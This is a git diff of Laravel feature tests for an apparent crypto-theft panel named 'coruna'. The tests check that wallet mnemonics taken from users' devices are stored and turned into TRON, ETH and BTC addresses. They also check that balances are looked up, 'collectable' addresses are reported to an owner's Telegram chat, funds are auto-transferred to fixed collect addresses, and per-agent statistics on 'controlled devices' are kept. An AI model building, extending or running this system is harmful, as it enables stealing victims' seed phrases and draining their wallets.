Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php index 736cb82..7139ba6 100644 --- a/tests/Feature/AdminAgentPortalTest.php +++ b/tests/Feature/AdminAgentPortalTest.php @@ -356,6 +356,18 @@ class AdminAgentPortalTest extends TestCase 'updated_at' => '2026-08-10 12:00:00', ]); + $oldAddr = WalletAddress::query()->create([ + 'device_id' => $outOfRange->id, + 'address' => 'TOutOfRangeAddr11111111111111111', + 'chain_type' => 'TRON', + 'usdt' => '3', + 'trx' => '2', + ]); + \Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $oldAddr->id)->update([ + 'created_at' => '2026-07-01 12:00:00', + 'updated_at' => '2026-07-01 12:00:00', + ]); + $mn = WalletMnemonic::query()->create([ 'device_id' => $inRange->id, 'source' => 'MetaMask', @@ -378,7 +390,7 @@ class AdminAgentPortalTest extends TestCase ->assertJsonPath('data.wallet_count', 1) ->assertJsonPath('data.mnemonic_count', 1) ->assertJsonPath('data.address_count', 1) - ->assertJsonPath('data.balances.usdt', '5') + ->assertJsonPath('data.balances.usdt', '8') ->assertJsonPath('data.date_from', '2026-08-01') ->assertJsonPath('data.date_to', '2026-08-15'); } diff --git a/tests/Feature/CollectableAddressNotifyTest.php b/tests/Feature/CollectableAddressNotifyTest.php new file mode 100644 index 0000000..f75d336 --- /dev/null +++ b/tests/Feature/CollectableAddressNotifyTest.php @@ -0,0 +1,179 @@ + 'tg-token', + 'coruna.telegram.owner_chat_id' => '10001', + 'coruna.tron.full_node' => 'https://api.trongrid.io', + 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', + 'coruna.eth.rpc_url' => 'https://ethereum.example', + 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', + 'coruna.btc.api_url' => 'https://mempool.example/api', + ]); + } + + private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic + { + $row = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => $source, + ]); + $row->mnemonic = self::MNEMONIC; + $row->save(); + + return $row; + } + + #[Test] + public function schedule_runs_link_mnemonics_with_auto_transfer(): void + { + $this->artisan('schedule:list') + ->expectsOutputToContain('coruna:link-mnemonics') + ->expectsOutputToContain('coruna:auto-transfer') + ->assertSuccessful(); + } + + #[Test] + public function successful_link_sends_collectable_address_telegram(): void + { + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-collect-link', + 'ios_version' => '18.0', + 'device_model' => 'iPhone', + ]); + $this->storeMnemonic($device); + + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => self::TRON_0, + 'chain_type' => 'TRON', + 'source' => 'imToken', + 'monitor' => 0, + 'trx' => 3.5, + 'usdt' => 12, + ]); + + $this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr)); + + Http::assertSent(function ($request) { + if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { + return false; + } + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '地址可归集通知') + && str_contains($text, self::TRON_0) + && str_contains($text, 'TRX: 3.5') + && str_contains($text, 'USDT: 12') + && ($request->data()['chat_id'] ?? null) === '10001'; + }); + } + + #[Test] + public function unmatched_link_does_not_send_collectable_telegram(): void + { + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + ]); + + $device = Device::query()->create(['device_id' => 'dev-collect-miss']); + $this->storeMnemonic($device); + + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'TXYZunmatched111111111111111111111', + 'chain_type' => 'TRON', + 'source' => 'imToken', + 'monitor' => 0, + ]); + + $this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr)); + + Http::assertNotSent(fn ($request) => str_contains((string) ($request->data()['text'] ?? ''), '地址可归集通知')); + } + + #[Test] + public function mnemonic_derive_sends_collectable_addresses_and_balances(): void + { + Http::fake(function ($request) { + $url = $request->url(); + if (str_contains($url, 'api.telegram.org')) { + return Http::response(['ok' => true], 200); + } + if (str_contains($url, '/wallet/getaccount')) { + return Http::response(['balance' => 5_000_000], 200); + } + if (str_contains($url, '/wallet/triggerconstantcontract')) { + return Http::response(['constant_result' => [dechex(2_000_000)]], 200); + } + if (str_contains($url, 'ethereum.example')) { + $method = $request->data()['method'] ?? ''; + if ($method === 'eth_getBalance') { + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); + } + if ($method === 'eth_call') { + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); + } + } + if (str_contains($url, 'mempool.example')) { + return Http::response([ + 'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0], + ], 200); + } + + return Http::response([], 404); + }); + + $device = Device::query()->create(['device_id' => 'dev-collect-derive']); + $mnemonic = $this->storeMnemonic($device); + + $this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic)); + + Http::assertSent(function ($request) { + if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { + return false; + } + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '地址可归集通知') + && str_contains($text, self::TRON_0) + && str_contains($text, self::ETH_0) + && str_contains($text, self::BTC_0) + && str_contains($text, 'TRX:') + && str_contains($text, 'USDT:') + && str_contains($text, 'BTC:') + && ($request->data()['chat_id'] ?? null) === '10001'; + }); + } +} diff --git a/tests/Feature/DailyReportTest.php b/tests/Feature/DailyReportTest.php new file mode 100644 index 0000000..76beeb6 --- /dev/null +++ b/tests/Feature/DailyReportTest.php @@ -0,0 +1,433 @@ + [], + 'coruna.panel.agent_hosts' => [], + ]); + } + + #[Test] + public function schedule_includes_daily_stats(): void + { + $this->artisan('schedule:list') + ->expectsOutputToContain('coruna:daily-stats') + ->assertSuccessful(); + } + + #[Test] + public function admin_page_matches_dashboard_today_and_lists_thirty_days(): void + { + $this->seedTodayVisitsAndDevices(); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $dash = app(DashboardStatsService::class)->collect(['range' => 'today']); + + $this->actingAs($admin, 'admin') + ->get(route('admin.reports.daily')) + ->assertOk() + ->assertSee('按日期统计') + ->assertSee('总 UV') + ->assertSee('有效 UV') + ->assertSee('受控设备') + ->assertSee('受控比例') + ->assertSee('有钱包设备') + ->assertSee('钱包地址') + ->assertSee('助记词数') + ->assertSee('近 30 天') + ->assertSee('LAY-daily-date-range') + ->assertSee('LAY-daily-report') + ->assertSee('LAY-daily-report-chart') + ->assertSee('echarts') + ->assertSee("'受控设备': true", false) + ->assertSee('LAY-daily-search') + ->assertSee('代理用户') + ->assertSee(now()->toDateString()) + ->assertDontSee('最近30天'); + + $payload = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.daily.data')) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.from', now()->subDays(29)->toDateString()) + ->assertJsonPath('data.to', now()->toDateString()) + ->json('data'); + + $this->assertCount(30, $payload['rows']); + $this->assertSame(now()->toDateString(), $payload['rows'][0]['date']); + $this->assertSame($dash['uv'], $payload['rows'][0]['uv']); + $this->assertSame($dash['effective_uv'], $payload['rows'][0]['effective_uv']); + $this->assertSame($dash['total'], $payload['rows'][0]['devices']); + $this->assertEquals(round($dash['total'] / $dash['effective_uv'] * 100, 1), $payload['rows'][0]['control_rate']); + $this->assertSame($dash['wallet_count'], $payload['rows'][0]['wallet_devices']); + $this->assertSame($dash['address_count'], $payload['rows'][0]['address_count']); + $this->assertSame($dash['mnemonic_count'], $payload['rows'][0]['mnemonic_count']); + $this->assertNull($payload['rows'][1]['control_rate']); + $this->assertSame(30, DailyStat::query()->where('scope_key', DailyStat::SCOPE_ALL)->count()); + } + + #[Test] + public function data_accepts_custom_date_range(): void + { + $this->seedTodayVisitsAndDevices(); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $from = now()->subDays(2)->toDateString(); + $to = now()->toDateString(); + + $payload = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.daily.data', [ + 'date_from' => $from, + 'date_to' => $to, + ])) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.from', $from) + ->assertJsonPath('data.to', $to) + ->json('data'); + + $this->assertCount(3, $payload['rows']); + $this->assertSame($to, $payload['rows'][0]['date']); + $this->assertSame($from, $payload['rows'][2]['date']); + } + + #[Test] + public function data_can_span_more_than_thirty_days(): void + { + $old = now()->subDays(40); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'old-uv', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => $old, + ]); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + + $payload = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.daily.data', [ + 'date_from' => $old->toDateString(), + 'date_to' => now()->toDateString(), + ])) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.from', $old->toDateString()) + ->assertJsonPath('data.to', now()->toDateString()) + ->json('data'); + + $this->assertCount(41, $payload['rows']); + $oldRow = collect($payload['rows'])->firstWhere('date', $old->toDateString()); + $this->assertNotNull($oldRow); + $this->assertSame(1, $oldRow['uv']); + } + + #[Test] + public function command_rebuilds_historical_day(): void + { + $yesterday = now()->subDay(); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'hist-1', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => $yesterday, + ]); + $device = Device::query()->create([ + 'device_id' => 'hist-dev', + 'channel_id' => self::CHANNEL, + 'has_wallet' => Device::WALLET_YES, + ]); + \Illuminate\Support\Facades\DB::table('devices')->where('id', $device->id)->update([ + 'created_at' => $yesterday->toDateTimeString(), + 'updated_at' => $yesterday->toDateTimeString(), + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'THistDailyAddr1111111111111111111', + 'chain_type' => 'TRON', + ]); + \Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([ + 'created_at' => $yesterday->toDateTimeString(), + 'updated_at' => $yesterday->toDateTimeString(), + ]); + $mnemonic = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => 'imToken', + ]); + $mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $mnemonic->save(); + \Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mnemonic->id)->update([ + 'created_at' => $yesterday->toDateTimeString(), + 'updated_at' => $yesterday->toDateTimeString(), + ]); + + $this->artisan('coruna:daily-stats', ['--days' => 2]) + ->expectsOutputToContain('daily-stats rebuilt=2') + ->assertSuccessful(); + + $row = DailyStat::query() + ->where('scope_key', DailyStat::SCOPE_ALL) + ->where('stat_date', $yesterday->toDateString()) + ->first(); + $this->assertNotNull($row); + $this->assertSame(1, $row->uv); + $this->assertSame(1, $row->effective_uv); + $this->assertSame(1, $row->devices); + $this->assertSame(1, $row->wallet_devices); + $this->assertSame(1, $row->address_count); + $this->assertSame(1, $row->mnemonic_count); + } + + #[Test] + public function command_all_backfills_from_earliest_row(): void + { + $old = now()->subDays(40); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'old-uv', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => $old, + ]); + + $this->artisan('coruna:daily-stats', ['--all' => true]) + ->expectsOutputToContain('daily-stats rebuilt=') + ->assertSuccessful(); + + $row = DailyStat::query() + ->where('scope_key', DailyStat::SCOPE_ALL) + ->where('stat_date', $old->toDateString()) + ->first(); + $this->assertNotNull($row); + $this->assertSame(1, $row->uv); + } + + #[Test] + public function agent_only_sees_own_channel(): void + { + $agent = User::query()->create(['username' => 'rep-agent', 'password' => 'secret12', 'status' => 1]); + Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]); + Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]); + + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'mine', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => self::OTHER, + 'client_uid' => 'other', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + Device::query()->create([ + 'device_id' => 'mine-dev', + 'channel_id' => self::CHANNEL, + 'has_wallet' => Device::WALLET_YES, + ]); + Device::query()->create([ + 'device_id' => 'other-dev', + 'channel_id' => self::OTHER, + 'has_wallet' => Device::WALLET_YES, + ]); + + $this->actingAs($agent, 'agent') + ->get(route('user.reports.daily')) + ->assertOk() + ->assertSee('按日期统计') + ->assertSee('近 30 天') + ->assertDontSee('代理用户'); + + $payload = $this->actingAs($agent, 'agent') + ->getJson(route('user.reports.daily.data')) + ->assertOk() + ->assertJsonPath('code', 0) + ->json('data'); + + $this->assertSame(1, $payload['rows'][0]['uv']); + $this->assertSame(1, $payload['rows'][0]['devices']); + $this->assertEquals(100, $payload['rows'][0]['control_rate']); + $this->assertSame(1, $payload['rows'][0]['wallet_devices']); + $this->assertSame(30, DailyStat::query()->where('scope_key', 'a:'.$agent->id)->count()); + $this->assertSame(0, (int) DailyStat::query()->where('scope_key', DailyStat::SCOPE_ALL)->sum('uv')); + } + + #[Test] + public function admin_can_filter_by_agent(): void + { + $agent = User::query()->create(['username' => 'filter-agent', 'password' => 'secret12', 'status' => 1]); + Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]); + Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]); + + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'mine', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => self::OTHER, + 'client_uid' => 'official', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + Device::query()->create([ + 'device_id' => 'mine-dev', + 'channel_id' => self::CHANNEL, + 'has_wallet' => Device::WALLET_YES, + ]); + Device::query()->create([ + 'device_id' => 'official-dev', + 'channel_id' => self::OTHER, + 'has_wallet' => Device::WALLET_NONE, + ]); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + + $all = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.daily.data')) + ->assertOk() + ->json('data.rows.0'); + $this->assertSame(2, $all['uv']); + $this->assertSame(2, $all['devices']); + $this->assertSame(1, $all['wallet_devices']); + + $mine = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.daily.data', ['agent_user_id' => $agent->id])) + ->assertOk() + ->json('data.rows.0'); + $this->assertSame(1, $mine['uv']); + $this->assertSame(1, $mine['devices']); + $this->assertSame(1, $mine['wallet_devices']); + + $official = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.daily.data', ['agent_user_id' => 0])) + ->assertOk() + ->json('data.rows.0'); + $this->assertSame(1, $official['uv']); + $this->assertSame(1, $official['devices']); + $this->assertSame(0, $official['wallet_devices']); + } + + #[Test] + public function command_rebuilds_agent_scopes(): void + { + $agent = User::query()->create(['username' => 'cron-agent', 'password' => 'secret12', 'status' => 1]); + Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'cron-uv', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + + $this->artisan('coruna:daily-stats', ['--days' => 1]) + ->expectsOutputToContain('rebuilt=1 agents=1') + ->assertSuccessful(); + + $row = DailyStat::query() + ->where('scope_key', 'a:'.$agent->id) + ->where('stat_date', now()->toDateString()) + ->first(); + $this->assertNotNull($row); + $this->assertSame(1, $row->uv); + } + + #[Test] + public function home_menu_includes_daily_report(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->get(route('admin.home')) + ->assertOk() + ->assertSee('每日报表') + ->assertSee(route('admin.reports.daily'), false); + } + + private function seedTodayVisitsAndDevices(): void + { + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'u1', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'u1', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'u2', + 'os' => 'Android', + 'os_version' => '13', + 'browser' => 'Chrome', + 'created_at' => now(), + ]); + $wallet = Device::query()->create([ + 'device_id' => 'dev-wallet', + 'channel_id' => self::CHANNEL, + 'has_wallet' => Device::WALLET_YES, + ]); + Device::query()->create([ + 'device_id' => 'dev-empty', + 'channel_id' => self::CHANNEL, + 'has_wallet' => Device::WALLET_NONE, + ]); + WalletAddress::query()->create([ + 'device_id' => $wallet->id, + 'address' => 'TDailyReportAddr11111111111111111', + 'chain_type' => 'TRON', + ]); + $mnemonic = new WalletMnemonic([ + 'device_id' => $wallet->id, + 'source' => 'imToken', + ]); + $mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $mnemonic->save(); + } +} diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php index 0b49413..9d2bf5c 100644 --- a/tests/Feature/PageVisitTest.php +++ b/tests/Feature/PageVisitTest.php @@ -462,6 +462,13 @@ class PageVisitTest extends TestCase $rows = [ ['12.5.7', false], ['13.0', true], + ['15.8.7', true], + ['15.8.8', false], + ['15.8.9', true], + ['16.7.1', true], + ['16.7.9', true], + ['16.7.10', false], + ['16.7.12', false], ['17.2.1', true], ['17.2.2', false], ['17.3', false], diff --git a/tests/Feature/SystemAdminTest.php b/tests/Feature/SystemAdminTest.php index 3c2f7bf..8c750e1 100644 --- a/tests/Feature/SystemAdminTest.php +++ b/tests/Feature/SystemAdminTest.php @@ -87,6 +87,8 @@ class SystemAdminTest extends TestCase $this->actingAs($staff, 'admin') ->get(route('admin.home')) ->assertOk() + ->assertSee('每日报表') + ->assertSee('lay-href="'.route('admin.reports.daily').'"', false) ->assertSee('lay-href="'.route('admin.system.settings.index').'"', false) ->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false) ->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false) @@ -164,12 +166,14 @@ class SystemAdminTest extends TestCase } #[Test] - public function settings_page_hides_token_and_transfer_to_addresses(): void + public function settings_page_hides_token_and_shows_readonly_collect_addresses(): void { config([ 'coruna.telegram.bot_token' => 'secret-token-should-not-render', 'coruna.telegram.bot_username' => 'ops_bot', - 'coruna.transfer.to_address' => 'THiddenToAddressShouldNotRender', + 'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly', + 'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly', + 'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay', 'coruna.panel.admin_hosts' => [], 'coruna.channel_domains' => ['hidden-cdn.example.com'], ]); @@ -180,11 +184,16 @@ class SystemAdminTest extends TestCase ->assertDontSee('secret-token-should-not-render') ->assertDontSee('name="telegram_bot_token"', false) ->assertDontSee('name="transfer_to_address"', false) + ->assertDontSee('name="transfer_to_address_eth"', false) + ->assertDontSee('name="transfer_to_address_btc"', false) ->assertDontSee('name="panel_admin_hosts"', false) ->assertDontSee('name="channels_domains"', false) ->assertDontSee('后台访问域名') ->assertDontSee('渠道链接') - ->assertDontSee('THiddenToAddressShouldNotRender') + ->assertSee('归集地址') + ->assertSee('TCollectTronAddressForDisplayOnly') + ->assertSee('0xCollectEthAddressForDisplayOnly') + ->assertSee('bc1CollectBtcAddressForDisplay') ->assertDontSee('hidden-cdn.example.com') ->assertSee('TELEGRAM_BOT_TOKEN') ->assertSee('@ops_bot') @@ -192,6 +201,32 @@ class SystemAdminTest extends TestCase ->assertDontSee('staff_mnemonic_reveal'); } + #[Test] + public function settings_update_cannot_change_collect_addresses(): void + { + config([ + 'coruna.transfer.to_address' => 'TKeepCollect', + 'coruna.transfer.to_address_eth' => '0xKeepCollect', + 'coruna.transfer.to_address_btc' => 'bc1KeepCollect', + ]); + + $this->actingAs($this->superAdmin(), 'admin') + ->post(route('admin.system.settings.update'), [ + 'telegram_owner_chat_id' => '-1001', + 'official_album_storage' => '0', + 'auto_transfer_enabled' => '0', + 'transfer_to_address' => 'THackedCollect', + 'transfer_to_address_eth' => '0xHackedCollect', + 'transfer_to_address_btc' => 'bc1HackedCollect', + ]) + ->assertOk() + ->assertJsonPath('code', 0); + + $this->assertSame('TKeepCollect', config('coruna.transfer.to_address')); + $this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth')); + $this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc')); + } + #[Test] public function super_admin_can_crud_admins(): void { diff --git a/tests/Feature/WalletAddressFilterTest.php b/tests/Feature/WalletAddressFilterTest.php index 853d8d7..6bad8f9 100644 --- a/tests/Feature/WalletAddressFilterTest.php +++ b/tests/Feature/WalletAddressFilterTest.php @@ -60,21 +60,28 @@ class WalletAddressFilterTest extends TestCase } #[Test] - public function data_includes_mnemonic_id(): void + public function data_marks_collectable_when_mnemonic_linked(): void { - $rows = $this->seedRows(); + $this->seedRows(); + $admin = $this->admin(); - $this->actingAs($this->admin(), 'admin') + $this->actingAs($admin, 'admin') + ->get(route('admin.addresses.index')) + ->assertOk() + ->assertSee('可归集') + ->assertDontSee('助记词 ID'); + + $this->actingAs($admin, 'admin') ->getJson(route('admin.addresses.data', ['device_key' => 'dev-addr-filter'])) ->assertOk() ->assertJsonPath('count', 3) ->assertJsonFragment([ 'address' => 'addr-with-mnemonic', - 'mnemonic_id' => $rows['mnemonic']->id, + 'collectable' => true, ]) ->assertJsonFragment([ 'address' => 'addr-plain', - 'mnemonic_id' => null, + 'collectable' => false, ]); }